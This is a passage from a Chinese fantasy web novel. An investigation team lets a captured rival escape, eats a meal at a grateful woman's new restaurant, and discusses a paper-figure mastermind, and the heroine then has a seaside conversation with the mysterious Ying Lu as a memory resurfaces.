李俟菩大病初愈,轻松避开了江隈的法器,看那人吹嘘地向她挑了眉眼。
虽然这场景对她来说是莫名的熟悉,但电光火石间,她似乎想起来一些往事。
艾熏酒店到场的只有调查组的几人,不过对于江隈,李俟菩觉得一人就能将她打趴下。
听到动静从酒店里面赶来的宁松帷,提起手上研发的新型法器就往江隈身上瞄准发射。
江隈忙着应对覃诩水,猝不及防的,衣角被形似子弹的小炮射穿,落下细细灰烬。
她脸色一变:“小姑娘,你有点没礼貌了哦。”
江隈猛地一掷,折扇似回旋镖般的模样,尖利扫过宁松帷的发丝,她被紧随而后的余愁山一揽而过。
趁这一分神,李俟菩身子一纵,轻轻松松飘到江隈的身后。
众人再次对李俟菩的速度有了新的认知。
“江同窗,你在看哪里?”
听到熟悉称呼的江隈浑身一颤。
李俟菩出手一把摁住她,手上特殊制作的绳子绕至她双手往后一钳,再猛地一提高,江隈根本无力动弹。
好巧不巧,这个绳子还正是当日在秦家山庄自己被捆的同一绳。
江隈嘴角一抽。
不过三秒,她的逃跑计划落空。
“喂,你这样打感情牌貌似不太好吧。”江隈无奈抖抖手,李俟菩缠得更紧了。
“好好好,我换个说法,你也太不怜香惜玉了吧,很疼的哎。”
李俟菩一瞥她被圈得发红的腕间,默默松了力道,但手上力气还是大得惊人,江隈根本挣不开。
“哇,阿菩你再创新高!”覃诩水大饱眼福,简直要举手欢呼出声。
“李小姐,少动点力气,免得伤身。”宁松帷见李俟菩轻松制下人,关照开口。
李俟菩点头,接受了好意。
“行,阿菩,你先照看一下,愁山和松帷来搭把手,发动一下机器。”赵慵见状,连忙招呼着那两人过来帮忙。
李俟菩这才见着,酒店门口正立着个大型黑色的冰箱。
当然不是传统意义的冰箱,起码在她看来,只能这样生动地形容一下,毕竟她也不知道这是个啥。
“这是灵力检测器,虽然我们弄了好多次没什么效果,但还是试一试。”赵慵顺着她的视线看向那庞大的机器,解释道。
“等会儿要是不行,就直接让她来当检测器。”覃诩水在跑过去之前,指着江隈威胁道。
江隈没说话,李俟菩也没说话,剩下的几人全都鼓弄那台机器去了。
李俟菩的手安安分分地摁着江隈的肩膀,天气却越来越热。
“热死了。”江隈悄声靠近她道,“我最近感受到了另一个神物,放我走,我帮你们拿过来。”
李俟菩看都没看她,寡言少语。
江隈见她如此无情,黯然神伤着说:“真没想到,我在你心里的信誉居然这么低,好歹我们曾经也是……”
“嗯?”
“哎呀!你不是都想起来了吗?我们可是互帮互助的同窗啊,经常带你下山玩儿的啊!你可别不认!”
江隈不吐不快,恨铁不成钢地收起那副做小姿态。
“哦,你是说你不仅冒充我同窗,还拐我下山帮你付钱,最后因为没钱被扣在店家洗了三天的碗是吗?”
李俟菩假笑着说,颇有点咬牙切齿的意味。
赵慵那边已经在安装好电线,就要着手准备探测灵气了。
“不是,那是个例啊。啧,你们不是也知道土中碧不在我身上吗,还带我来土中碧的源地来干什么?”
李俟菩反问道:“你怎么知道这里是源地?”
“我……”江隈一噎。
李俟菩道:“据我所知,你现在也只是枯骨一具,长生种到最后往往都是以灵力来支撑自己的皮肉,你现在根本毫无法术,或者你的法术也跟我一样,被某种东西禁制了。”
“所以你是怎么未卜先知的?”
江隈被她套路了一把,无话可说了。
眼见那东西就要开始,最后的一点机会马上就要从手间溜走,她跺跺脚。
不死心地说:“你就信我一回!就一回,我们这么多年感情,我还真想害你不成?”
江隈的手肘不自觉轻撞她,恨不得现在就推心置腹,全盘托出。
一
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秒,“好啊。”
“啊?”
江隈要准备的一筐子话差点逆流堵进脑壳里。
她纹丝不动地再次“啊”了声。
李俟菩耐心道:“我说好。”
只见她趁着那边的人正在忙东忙西,悠悠解开了捆着的麻绳。
死紧的双手一松,那绳子被李俟菩毫不在意地扔在地上。
江隈难得愣在原地,后伸手探了探李俟菩的额头,“你没事吧?”
李俟菩拍开,以一种她可能听不懂人话的表情静静看着她。
随后道:“要是还不走,你可就走不了了。”
远处的赵慵,正在试着按按钮。
江隈迅速回神,拱手道:“义气,等找到了我真给你带回来!我绝不食言!”
说完,便像只麻雀儿,窜地一下绕开所有人视线,麻溜儿地往酒店后路跑了。
李俟菩没看她离开的背影,抬脚走到那机器前。
覃诩水回头一望,谈笑自若道:“走了?”
“走了。”她说,“宁小姐的监测仪没问题吧?”
宁松帷拍了拍自己手上那把新型武器,“如果她有洁癖,需要换衣服的话,可能就有问题了。”
“不过她那衣料上的残沫应该沾上了她的皮肤,准确来说,大概不会有任何问题的。”
然后她掏出手机,点开软件:“我这边的红点正在移动,速度极快,但江隈好似正围着一条路绕圈。”
赵慵听着她们谈话,又将那灵气检测器的线拔掉收好。
“江隈她这人警惕性高,对免费的东西通常报以怀疑态度,让她绕去吧。”李俟菩一脸平常道。
赵慵跟闲聊家常一样边收东西边说:“等她恢复正常轨迹,我会派几个人跟着她的。”
“土中碧肯定是被她藏起来了,或者交到了谁手上,只能等她自己给我们线索了。”
几人连声赞同。
一旁的李俟菩却沉默良久,她思绪乱飞,“有一事我尚且还不能明白,江隈为什么要帮陶赐搞这一出,你们问出来了吗?”
“嘿,要真能撬开她的嘴就好了,关键不论用什么心理学式审问,或者其他的法子,她都胡编乱造或者胡乱攀咬,扯东扯西。”
覃诩水提起就头痛,烦得要命。
“你们不能用法器之类的东西来问她吗?”李俟菩道。
赵慵说:“自然是不能的,这种对正常人来说伤害极大,就算不是正常人也要按规定的方法来审,上头跟我们一再强调这个事情,我们也没法子。”
得到结论,李俟菩没再问,又道:“覃诩水,你对鬼语这一道造诣极深,上次说的诡说人话的情况,分哪几种?”
几人立马就想到了陶赐。
“三种,鬼的语言一般建立在它们已死丢魄的基础上,语言系统基本是被破坏掉了,或者打乱重组,很多话其实都是汉字,只是顺序不同导致混乱。”
覃诩水讲起这些得心应手。
“所以第一种就是,诡克服了本能,学着普通人类拼组汉字,不过这种大多都不可能,也没有这种毅力。”
“第二种就暴力一点了,直接把别人的魄和自己的魂生拼硬凑,然后每时每刻承受剜骨之痛,才能重组自己的语言。”
“第三种很简单,就是神物。”
经过一番讲解,李俟菩算是彻底弄明白了。
“你觉得陶赐算哪种?”赵慵问她。
“哪种都不算,顶多算是神物披沙拣金的结果。”李俟菩说。
“什么意思?”覃诩水想不明白。
“是说神物曾短暂停留过它们的身体?”余愁山简明扼要。
李俟菩没反驳,大概是这意思。
她又转问说:“爱熏酒店里的情况怎么样?”
“很正常,正常得发邪,我们找了许久,神物的气息也在慢慢消散,但就是找不到具体是哪一点,反正到处都是气味,不多也不少。”
见其他人还陷在那番言论中,宁松帷回答道。
正说着,就见到警戒线外站了个东张西望的女人。
看起来有些可疑。
38. 功德+38
“胡谙?”
赵慵最先发现了她。
阳光下正在探头的女人穿着粗糙的棉麻上衣与发白的蓝色长裤,爽利的马尾盘在脑后,随着主人的摇晃耷拉在肩头。
撞上赵慵的视线,她眼睛一亮,随即欣喜地招招手道:“赵队!”
“你怎么在这儿?”覃诩水也有些想不到,满脸都是见着熟人的松弛感。
胡谙笑意盈盈,“哦,这不是买菜嘛,想抄近路回去,就要经过这里。”
“隔老远我就看见背影眼熟,没想到还真是你们?”
胡谙通身朝气蓬勃,打扮得像个小姑娘,说话也轻声细语,往后一瞥李俟菩的脸,就喜不自胜地抖抖自己手上的塑料袋。
那袋子外还有一层塑料包裹,里面什么都有,新鲜时蔬与水果,还有好多肉。
袋子上的提手重得几乎快要断,胡谙的指节被勒红一圈。
覃诩水看她提得累,问道:“你买这么多菜干什么?囤货也不需要这么多吧!”
“我这些年拼拼凑凑的,还是赚了些本钱,最近新开了家饭馆,这不招呼着买些菜嘛。”胡谙说,“一些新鲜的蔬菜都需要当天准备,我就多买了些。”
“那整挺好啊,恭喜恭喜。”宁松帷看她喜气满满,被感染到了,大大杏眼里全是发自内心的开心。
余愁山也挂上了微笑,“恭喜。”
胡谙的汗水从额角划过,来不及擦,就顺着下颌角落下。
就像那些苦难全都拂去,不用伸手费力去接,幸福就会不知不觉地敲上她的鞋角。
李俟菩道:“祝贺。”
胡谙也高兴,抬头看了看天色,“快中午了,要不警官去我店里吃点儿?”
她又怕太冒昧,想着可能她们还有事情,补了句:“不远的,就在前面,当然如果打扰的话,以后也可以随时来的。”
赵慵往后扫了一眼众人。
第一眼就见覃诩水一脸兴奋,看向身后几人问道:“你们怎么说?”
覃诩水举双手赞成:“老大老大,我这些天都在医院食堂吃腻了,你看我都瘦了,去嘛去嘛。”
说着她又朝胡谙递了个眼色。
胡谙接收到准确信息,接话道:“赵队,你们假如中午没事,就来我店里吃吧,就当照顾照顾自家生意。”
宁松帷不禁失笑道:“反正我没问题。”
余愁山不言。
李俟菩环顾一圈,说:“我从众。”
见其他人都没意见,覃诩水一蹦三尺高,活像个三岁小孩儿。
“欧耶!终于可以洗洗嘴了,胡老板,招呼贵的!”
*
日头渐渐升高,正午艳阳将大地铺上一层火辣熔岩,打个鸡蛋上去都能秒熟。
一家空调开得极低的小店里,还开着仪式感的风扇,不空旷的大堂里摆满了错落有致的桌椅。
风扇一搭一搭地转着,墙上五颜六色的便利贴随风而起,好似五彩斑斓的潮水翻腾,把那些闷热全都一扫而过。
“来来来!有点烫啊,小心点儿!”
胡谙围着粉色围裙,亲自端来一盘糖醋里脊,放在圆桌的边角上,又习惯性地将手背上的水抹在围裙上。
称不上好质量的桌子表面没有跟其他小餐馆一样,糊满了一层看不见的油,清清爽爽的台面上,那盘菜散发出农家香味。
“好香啊!”覃诩水双眼瞪得像铜铃,跟狗见到肉没什么区别,“胡老板,你这色香味俱全啊!不去全国大厨比赛真是可惜了。”
胡谙被夸得一脸羞涩,脸上不知是做饭烧红的还是羞红的,开口道:“覃警官你就别奉承我了。”
“哪有奉承,覃警官可从来不说假话,我觉得要去世界比赛。”赵慵弯起嘴角,“余警官你说呢?”
余愁山被点名要求参战,她选择拒绝,并附上一句:“看着是让人赏心悦目。”
胡谙抿抿唇,眼尾都染上红,不知道怎么接话,支支吾吾半晌。
“一个一个的都焉儿坏。”还是宁松帷打圆场,“胡老板,你这装修可以啊,门面租金是多少啊?”
“没多少,因为不算市中心,这边基本没人来,现在天气热,中午就更没人了,就晚上可能会有一些常客。”
胡谙瞧了瞧外边热得像烤炉的天气,说道。
“那你这店搞得还可以啊,配这厨艺,不得发大财?”覃诩水玩弄着筷子,俏皮地看向她道。
胡谙见她们没完没了,想都不想,直接钻厨房去了,“你们先慢慢吃吧,还有菜呢。”
覃诩水见餐桌上已经放满了新鲜菜肴,惊道:“还有?这么多菜了,再吃我们都要成胖子了!”
她喊得大声,隔着一层帘子都能听得十分清楚。
“小女孩家家的,就应该吃好点儿,别学网上那些白幼瘦,不健康!”胡谙也对喊着,对那些畸形审美极其不赞同。
好吧,她竟无法反驳,横竖劝不着,任胡谙忙去了。
而李俟菩默默打量了好一会儿那墙面的便利贴,没出声,又盯着这些菜,竟然有点无从下口。
余愁山说得没错,她还是第一次见这么鲜美的食物。
连根青菜都能做得这么香,这是怎么做到的?一般不都是菜羹那些淡得跟水味的绿白粥模样?
李俟菩动动鼻尖,坐在边上的宁松帷问:“怎么了?”
“这是什么?”她随意指着一盘满是辣椒酱的菜问。
那辣椒红得像极了在鬼市吃的玩意儿,虽然她并没有闻到辣味。
“糖醋里脊啊,我的好神仙,你真在山上吃斋啊?”覃诩水被水呛了一口道。
李俟菩道:“我一般不吃。”
覃诩水:“哈哈,你真幽默,不吃的话那岂不是现在你早就饿死了?”
李俟菩:“我不饿。”
覃诩水:“?”
赵慵见覃诩水吃瘪,轻声道:“好了好了,既然下山了就多补充点营养,你看你都瘦成皮包骨了。”
李俟菩低头看了看自己的肚子,赵慵又道:“有时间带我们去你家乡玩玩?我们虽无假期,但可以排班的。”
赵慵道不明的意味不轻,但她一脸笑意,好似真的只是想去放松放松。
李俟菩没答。
覃诩水像个没眼力见地说道:“赵队你说得轻松,每次要批假你就顾左右而言他,干嘛说这些扫兴的话,哼!”
赵慵笑得更厉害了,宁松帷接着话说:“李小姐既然来了就多吃点哈,赵队买单。”
余愁山说:“同意。”
李俟菩的眼睛一直盯着虚空,她余光里的赵慵并没有说什么。
只是点点她们,“你们当我的钱是大风刮来的?”
“不听不听,我请客,你买单!”覃诩水大笑道,手已经控制不住地拿起筷子一品佳肴了。
余愁山也悠悠动筷,额头上那点伤已经好得没有任何疤痕。
赵慵无奈。
李俟菩也稍稍夹起她颇有成见的那盘绿油油的青菜,二话不说往嘴里放。
嗯,好吃。
特别好吃。
“覃诩水你别贫,你们烧掉鬼市的钱可是我帮忙出的,说起来你们还倒欠我钱呢。”赵慵刚想要吃点什么,又想起事儿来,兴师问罪道。
宁松帷嘟囔着嘴说:“哇覃诩水,你可太行了,我刚刚才听说,真是佩服佩服,借我一万个胆子我都不敢。”
刚往嘴里放一块排骨的覃诩水听此,拍案就要发作。
余愁山道:“听说上头已经派人在来得路上了。”
“啥玩意儿?!你怎么知道的?”覃诩水一气没出又来一气,“不是,不会真要被革职了吧?这下完了完了。”
李俟菩望着赵慵,似乎在问真假。
赵慵道:“你们真以为这不算捅了天大
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的篓子吗?钱我可以出,但事儿我担不了啊,上头点名道姓的,我也不知道这次来的人到底要干嘛。”
她用指尖敲敲就要发疯的覃诩水,又点点李俟菩的手腕:“不过放心,大部分事情我都能解决,到时候和那边好好说说情况。”
这下倒是点明了李俟菩,估计事情的起因结果覃诩水都和她说了,但还有一些事情尚未分明。
李俟菩不慌不忙地放下筷子,看了一眼还在忙得热火朝天的胡谙。
说道:“提起鬼市,我有发现。”
“你说。”赵慵沉心静气道,好似一早知道,只等她说。
宁松帷喝了口汤,放下筷子,只剩余愁山还在小口小口地塞土豆,直到两腮撑满。
李俟菩看了一眼余愁山,说:“在鬼市我与覃诩水她们断了联系,途中遇到一诡,他居心不良引我相救,后又说要报恩,我就顺了他意说要查生犀。”
“随后跟他去了趟余家老宅,一宅实则半宅,幕后人在那里设了阵法,欲置我死地,后他又道覃诩水与陈箐在判官那边,溜之大吉。”
“最后我见到了幕后之人的真面目。”
赵慵问:“是谁?”
“余家老家主的棺纸人。”
覃诩水惊叹道:“你是说它是一个纸人?这怎么可能?”
“生有血肉,它体内有神物。”
宁松帷开口:“你是说纸人利用了神物长出了血肉?该不会,它是何诏的主谋?”
“现在看来是的,它暗中操纵,最后引来阴官,我才放火烧地府。”
覃诩水脑筋转得飞快:“你的意思是,这个纸人把我们引去鬼市就是要神不知鬼不觉杀我们?那它怎么知道那天我们要去逛商场?”
赵慵沉声道:“有人在监视我们?”
话还没完,胡谙就端着菜小碎步走过来,脸上的雀跃藏也藏不住。
“最后一盘硬菜,都吃好喝好啊!”
新出炉的小龙虾香味儿扑鼻,可众人的脸上早已没有刚刚那般没心没肺的喜悦。
话题结束得仓促,余愁山从头到尾头也没抬,李俟菩也拾起筷子夹菜。
“哇,胡老板你也坐下吃点儿。”覃诩水客气道。
胡谙解下围裙,拿起碗筷,喜气洋洋地介绍起饭菜的步骤,没有发现什么异样。
于是几人吃了一顿沉思的饭。
快吃完时,赵慵出去接了个电话,回来就和宁松帷小声说了些什么,宁松帷看了看手机,朝她点了点头。
“那个,胡小姐,我们这边突然有点事儿,得先走了,你这碗筷……”
赵慵有些不好意思,大圆桌上的饭菜本来就吃得差不多了,但餐馆里只有胡谙一人。
她说着,无意间瞥到李俟菩还没放碗,说道:“阿菩你身体刚好,要不你就先留在这里,帮胡小姐收拾一下,她一个人忙不过来。”
胡谙一听,连忙道:“不不不,你们有事儿就先去忙,哪能劳累你们来操心。”
“就这么定了,阿菩你弄完就休息半天,我们先走了。”
赵慵自是不可能吃人饭又劳人身体的,转眼把一沓红钞放在前台。
覃诩水与宁松帷,还有余愁山接到通知早就先走一步了,赵慵着急忙慌地追上她们。
“这……”胡谙拿起那钱,没留住人,“这怎么能收你们钱?”
李俟菩拿起纸巾擦擦嘴道:“收着吧。”
服从安排,她站起身,就要同手同脚地帮忙。
午后的太阳烧灼一切,沸腾的热气随着大门开关吹向店内。
“这不收你们钱,有点奇怪吗?”胡谙有些手脚无措。
“那你那天在天台留下我,不也很奇怪?”
胡谙闻言,偏头。
那闹腾的热气吹了胡谙满脸,又转向她。
“不奇怪。”
“人总会爱上拯救的英雄。”
39. 功德+39
“若是没有你,我现在早就是一堆黄土了。”
胡谙的圆眼十分的亮,就好像她那双眸子从没有受过厄难一样清澈见底。
李俟菩一怔,她继续说:“人很多时候就是没有及时学会转弯,我幸好有你。”
“所以,一点都不奇怪。”
空调散发的冷森寒意将那些热浪吹散,冰冷的度数还是稳定不变。
风扇的咯吱声被当做心跳,一时无人说话。
李俟菩要端碗的手滞在原处,指甲无意识地抠了抠碗底,她第一次认识到,难以言说这四个字可以无比完美地诠释她此刻的心情。
她想说自己只是顺手,或者说只是为了任务。
可看到胡谙那因万分感念而长出幸福血肉的圆圆脸颊,她却什么话也说不出口了。
“不管是出于什么,我这辈子都不会忘记,那天是你救了我。”
李俟菩似乎从没被这样真挚的感情打乱过,她立在餐桌旁,居然有些忸怩不安。
从前她连人都很少来往,可能除了江隈与师兄师尊,她的生活里了无生气。
她懵得卡壳,胡谙走到她身前,见她不言,也没恼,接过她手上的碗就端去厨房洗刷。
独剩李俟菩在大堂中间凌乱。
就在这时,一个十分不合时宜的声音直击脑勺。
“阿俟,你心跳怎么变得这么快?”
关心至极,尾调又带有调侃意味,“阿俟?”
见李俟菩压根没理,直愣愣站在那儿一动不动,像个雕像一样风中石化,于是某人更欠揍地叫了一声又一声。
最后更是化成隐形人身贴近她的耳边吹气,李俟菩被闹得心烦意乱,偏头后撤两步,不与他计较。
哪知应庐仗着李俟菩如狂风扫落叶般乱了心神,他又近一步,继续捣乱。
李俟菩再退,应庐不怕死地再近,嘴里还故意念叨着什么。
这般熟悉的乱上加乱,瞬间勾起了李俟菩的某段回忆。
等到挤至墙边,实在退无可退,李俟菩才猛地一劈,力道丝毫不手下留情,出手就是绝招。
谁料人的眼睛根本不会长在手臂上,挨在墙边餐桌的热水壶直接被波及到,就要被她掀翻过去。
滚烫的热水随着整个壶口就要倾洒出来。
她立即伸手去够,手心没接到热水壶,却接到了应庐的手。
那点滴成状的热水还没接触到李俟菩的腕间,化形的寒便扑满了她的颈肩。
水霎时结成冰,她本能瑟缩地往后躲了躲。
手心挨上手背,不隔热的热水壶直接烫烧到了手心,而手背似乎只感受到了背面的温热,对烫水无知无觉。
一瞬间不知是谁,冰火两重天。
“怎么了怎么了?!”
厨房那边的胡谙听到了不小的动静,马上瞬移过来。
不料自家救命英雄正牵着一个男人的手,搁那儿共捧着热水壶含情脉脉。
她向前的脚步一止。
李俟菩连忙将手缩了回去,看胡谙愣在原地,斜了眼应庐。
应庐也丝毫没被人撞破的尴尬感,他将那热水壶放回,缓缓撤了法术,扬起小狗脸:“姐姐好呀,请问,还有饭吗?”
胡谙看看没打算解释的李俟菩,又看了看眼前突然冒出来的这个漂亮男人。
“应该,还有吧。”她答。
“行,那来一碗,账算在她身上。”应庐指了指旁边的李俟菩。
“我没钱。”李俟菩应声。
“那算在赵慵身上,反正她刚刚给了钱。”应庐挺好意思地开口,拍拍身上浅灰的外衣,自顾自坐下了。
李俟菩这才好好打量他这一身衣服,内搭的白色衬衫上套了个极为风流的外套,直筒裤加上纯白运动鞋,脖子上还圈了个项链。
就像个开了满屏的花孔雀。
“你挺闲啊,还有空去置办衣服。”李俟菩忍不住说道。
“嗯,我还给你买了,待会儿去宿舍里面试试。”应庐自给自足地找了两个杯子,倒上白开水,顺手递给李俟菩。
“没兴趣。”
李俟菩没接,应庐就放在桌面上,习惯得很。
“那个,问一下,这位先生,要吃点什么菜?”
胡谙弱弱道,她看这两人一来一回的,应当是认识,也就没多问应庐的突然出现。
只是气氛着实有些尴尬。
“都可以的姐姐。”他又看到有些狼藉的餐桌,“要不姐姐先忙,我自己来。”
“啊?没事儿,我先做。”胡谙摆摆手,勾唇道,“哪有客人自己做饭的道理?”
“嗯?莫非姐姐也当阿俟是客人?”
胡谙摆得更起劲了,生怕李俟菩听这话和自己生疏,“没有没有,我当李小姐自然是自家妹妹。”
“那不就行了,姐姐先收拾,我自己做。”
应庐灿烂的笑容任谁看了都不会忍心说一个反对,胡谙自知嘴笨,有些着急地看向李俟菩。
“李小姐……”
李俟菩却道:“如果你拒绝的话,他可能还会帮你把碗洗了。”
应庐乖巧眨眼,“阿俟,你这是暗示我帮你做事吗?”
“没有。”
“哦,放心,我会帮你的,那报酬我可随便开喽。”
“不需要。”
李俟菩端起剩余的碗就往厨房里走,应庐却虎口夺食。
“都答应了怎么还帮我省力,什么时候这么会照顾人了?”
他娇俏地忽闪几下眼睛,放下这句话便充耳不闻地走进厨房,哼着五音不全的调子摆了个中二的姿势,开始大显身手地做饭。
李俟菩与胡谙面面相觑,随后李俟菩十分命苦地扯开嘴角,“我先帮你擦桌子吧。”
而胡谙直接被逗笑出了声,“李小姐,你们调查组的同事都这是般讨人喜欢的性子吗?”
李俟菩看了眼帘子,“他不是我同事。”
“啊?看你们如此相熟,倒有点儿像是冤家的小情侣,那李小姐是有爱人了?”胡谙试探性的问道。
两张粗布从中截开的遮罩帘被细细的风鼓吹,里面还传来欢快不着调的歌声。
李俟菩微垂着眼:“也不是。”
胡谙盯着面前瘦弱但浑身都有着健康气息的女孩儿,有些疑惑。
不过李俟菩的脸上毫无什么别样的情绪,胡谙只当自己说错话了,道:“那他是……”
“老板姐姐,你这水怎么全是热水啊,烫死我了?!”
一声惊呼打断了对话,胡谙快速应了声,也钻去厨房了。
李俟菩站在原地,两人在厨房交流的声音愈发清晰,可她的耳边却只听得到自己有节奏的心跳声。
至于应庐,什么都不算,这个人与她关系匪浅却心脉相连,她也不知道该怎么向别人解释他与自己的联系。
“阿俟,你愣着干嘛呢?”
几步远的帘子被掀开,一颗脑袋冒出来,大眼睛眨巴眨巴。
“虽然我说要帮忙洗碗,可擦桌子我还没答应呢,难道阿俟想多陪陪老板姐姐?”
李俟菩瞥到窗外的天色,日还高悬,没应。
应庐走过来,将打湿的干净手帕交到她手上,湿热的重量落至手间。
“不用解释。”他小声道,“说不清的关系,也算关系。”
明澈的眸映入李俟菩的眼眶,她心尖的青苔突然抹去几许。
不知是什么东西作祟,她鬼使神差地悄声道:“嗯。”
一心一意要去做菜的应庐似乎没有听见,可忽略不掉的是,应庐转过身去的脚步变得更加轻盈。
用脚都只能够五步的窄廊,他几乎是跑着去厨房的。
手帕上的水停留在她手心,她动身缓缓去擦那些污秽油渍,笨拙地将骨头顺顺擦落到垃圾桶里。
几分钟的事,餐桌焕然一新,就跟用了法术一样。
不过在李俟菩心中,这擦得似乎
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比用法术还干净。
她直起腰,正好撞上偷瞄她的应庐。
应庐一笑,终于,她也做过了此前人生从没做过的事情。
——擦好一个桌子。
……
等应庐做好,又吃完,洗完碗时,已经到了快接近傍晚时分。
别问,问就是应庐与胡谙有太多话聊了,不是胡谙在说话,就是应庐一直在说。
聊完饭菜聊人生,聊完八卦聊世界,李俟菩在旁边看应庐一碗不大不小的面从下午吃到晚上。
一口面从挑起到吃下要花一刻钟的时间,她看着都着急,别说胡谙和应庐还聊得天花乱坠。
这哪是吃饭啊,分明是把饭当唠嗑的瓜子儿,权当走一个流程。
李俟菩连话都插不进去,不过听这两人聊天,自己也了解到了很多关于这个世界的东西。
比如大多数人都认为神神鬼鬼的一点都不科学,还认为有点晦气,不敢沾染上身。
比如现在已经距最近的封建王朝都已经过了好多好多年,如今都是人民当家做主的时代。
比如这些人从小到大,都会经历上学,高考,大学与工作,到结婚的阶段,也不会像之前山下的顽童一样没有书读。
人人都能读书,人人都读得起书。
这个世界是法制社会,人人平等,都把人当人看。
李俟菩想起自己下山,走过的那些山川河野,崎岖沟壑。
她想,若这里真是未来,那些受过苦难的冤魂、他们的祖先若是知道现在有这么幸福的生活,那是会很开心的。
“天色也不早了,我看等会儿姐姐就该忙起来了,我们就先不打扰了。”
应庐看门外徘徊的几个成群的客人,对着胡谙说道。
胡谙一看,惊叹一声:“呀,都这么晚了,我菜还没准备好呢。”
应庐笑道:“看这人数还不少,老板可别等会儿忙累了。”
李俟菩也朝胡谙道:“那你先忙,我们就先走了。”
胡谙点点头,秉着不怠慢客人的态度,对李俟菩和应庐只说了声谢谢和再见,就又进厨房捣鼓去了。
傍晚的夕阳将蔚蓝天空泼上一层厚厚的橙红,树木都染上金光。
店子这边临近榕城的平潭岛,微微咸腥的海风吹着让人心旷神怡,黄昏如画,不远处的风车也在悠闲地转着。
两人的影子被拉成长线,慢慢叠合,又慢慢错开。
几个孩童打闹着过身,李俟菩的视线随着那些无忧无虑的孩童望向海浪。
“这里风景真好。”应庐落后她半步。
“确实漂亮。”李俟菩附和道。
海岸线的远处,是余晖的相融。
“这些天没有讯息,你受了很严重的伤?”他问。
“失血过多。”李俟菩道,“你也受伤了?”
应庐闷闷“嗯”了声,声音被浪潮淹没。
“那东西封印了我的五感,我只能感受到你的心血流失,我想帮你,但江隈那东西太厉害,我冲破了牢笼自己却……得不偿失。”
“直到刚刚你们吃饭的时候,我才醒过来。”
李俟菩停下脚步,抚上那海边公路的栏杆,顿了好一会儿:“伤好了吗?”
“还行。”应庐插兜,眺望那海岸的礁石,“你呢?疼吗?”
李俟菩没答。
其实这么多天了,她比刚来这个世界时,还多了好多疑问。
应庐又问:“江隈呢?”
“跑了。”李俟菩道,“刚刚赵慵就是去抓她的。”
话落,随后又是沉默。
实际上,没了应庐说话,或者没了应庐主动开口解释,他们两个之间只剩沉默。
天空盘旋几只海鸥,有些话摊开来问,终将会变成那些被卷上岸的海沫,只会更暗。
李俟菩头次感到趑趄的压抑。
过了很久,还是应庐先开口:“能告诉我,你是怎么死的吗?”
40. 功德+40
李俟菩之前问过很多人这句话,无论是活人还是死人。
她又想起最后落在眼中那几只盘旋的乌鸦。
不过兜兜转转,她自己也终要回答一次。
虽然她也跟江隈坦白过自己是死在何处的,但是莫名的,她就是有些抵触回答应庐这个问题。
李俟菩道:“为什么问这个?”
“我想知道。”
应庐回答得很干脆,他故作不在意的目光终于肯完全落在她的身上。
“很想知道。”他又道。
天边已是墨色,那海面随沉夜的铺开,居然开始泛起荧光。
从远处看,就像深海的蓝眼泪,美轮美奂,简直若仙境般梦幻。
李俟菩还没接话,一下子就被那荧海奇观吸引了过去,她那眸子里全是倒映着的蓝色眼泪,应庐的眼里也全是她。
她被这景色惊得没偏头,应庐也没别开视线。
甚至,他都不太敢直面李俟菩的侧脸,只是温柔地看向她缱绻缠绵的发丝。
就像嘴上这么执着地想要一个答案,但心底里却是十分懦弱地畏葸不前。
矛盾地,只能让他看忽远忽近,魂牵梦萦的青丝。
“等你告诉我,你究竟是谁,我再告诉你。”
李俟菩突然转过头,那发丝又悄然离远了些应庐。
他弯起唇,不知在想什么,那临去秋波的瞳眸缓缓顺着发丝描摹她的下颌,嘴唇,鼻尖。
直到对上李俟菩那双能直击人心的琥珀眼瞳。
“为什么这么想知道?”应庐问,“我是谁有这么重要吗?”
“你是我在这个世界上,唯一有联系的人。”
翻飞的发絮忽地缠绞在应庐的鬓间。
缠绵悱恻。
一息之间,李俟菩能感觉到他的呼吸声都停了。
他暗哑道:“江隈也和你有联系。”
李俟菩说:“我想听你解释。”
应庐咬咬唇,血色没冲上脸庞,被冷风吹得发白的唇色渐深。
他伫立在风浪中,只听那浪潮迭起,风起又风过。
最后缓缓说:“我们之前,是很糟糕的关系。”
李俟菩还没问明白,应庐便一个踉跄,直扑进她的怀里,裹挟着寒冷的风满怀,她下意识地圈住了他。
霍然,心跳同频。
李俟菩能感觉到自己与他的心猛停一拍。
这人虽自身带着寒气,身体却跟正常人类一样,热得让人发慌。
身后传来几个小孩推搡的哄笑声,与一个小女孩弱弱地道歉。
她还没回过神来。
反倒最先挣脱怀抱的,是应庐。
他先是看了看李俟菩,确认她没怎么被自己磕到后,又转头看向几个没他腰高的小孩。
随后蹲下身轻柔地扶起那小女孩,“哥哥没事,不用道歉,下次小心点。”
声音慢声细语,那女孩儿揉搓着衣角,没被他安慰到,只是忐忑地不断瞟向那边结队的男孩儿们。
应庐顺着她眼睛看过去,心下应当是明白了什么,“怎么了?”
女孩儿揉搓地更厉害了,粉红衣角都快要被搓烂。
应庐轻轻握上她的皱巴小手,和善地理了理女孩儿乱糟糟的头发。
“别怕,跟哥哥说,到底怎么了?”
“……他们,要抢我的糖果。”
女孩儿说后,更害怕地朝应庐这边靠了靠。
应庐看向那边的几个男孩儿,招手呼唤着他们过来,于是一个高高瘦瘦的男人就被几个小屁孩儿围上了。
如果有不明真相的人看过来,就像扎堆孩子们里的孩子王。
“不是我……”为首的男孩儿抢先道。
委屈的女孩儿紧捏着绿色方块糖,应庐瞧见为首男孩儿手里相同的糖果,大致判断了事情的真假,才挂上好欺负的笑容。
“哼,这位小妹妹本可以分享,你却要抢,还不承认,你们师尊……你们老师就是这么教你们的?”
应庐一脸温良。
“与人为善本是应当,你却因为一个糖果,让你和人做好朋友的机会都没有了,那岂不是以后更加没有糖果吃了?”
“勿以恶小而为之,你们可知道?”
男孩儿懵懂地摇摇头,可能还是心存良善,又或许是真的意识到自己的方式错了,也没动,乖乖听他解释。
应庐嘴里的大道理如过江之卿,一会儿聊古文一会儿说白话,简直把从古至今的道理说了个遍。
一群孩子们听得晕头转向。
在余光一片蓝眼泪的美景下,她看着他屈身的背影,电光火石间,李俟菩几乎就能确定——
他修的苍生道。
记忆侠忽冲入她的大脑,在止水的脑海里掀起绛红的起伏的波涛。
虽然李俟菩经常被回忆打个猝不及防,但这次的明显不一样,就好似有一只手慢慢撬开了名为往昔的书。
所有的记忆往前逐步拉长,宛然在目,她第一次能如此清晰地看清一个人。
他粲然的脸与应庐缓慢重叠。
在一颗古老的枫树下,枫叶簌簌地落,他站在眼前,本该是浪漫温馨的场景,但口中所念却并不能称为美好。
声音糊成一团,像蒙了层毛玻璃。
